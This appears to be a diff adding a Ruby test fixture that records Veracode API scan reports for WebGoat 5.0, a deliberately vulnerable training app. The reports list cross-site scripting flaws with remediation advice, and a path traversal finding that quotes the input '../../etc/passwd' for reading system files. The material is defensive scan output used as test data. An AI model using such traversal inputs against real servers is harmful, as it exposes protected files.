+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:34 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:09:37 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:09:36 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs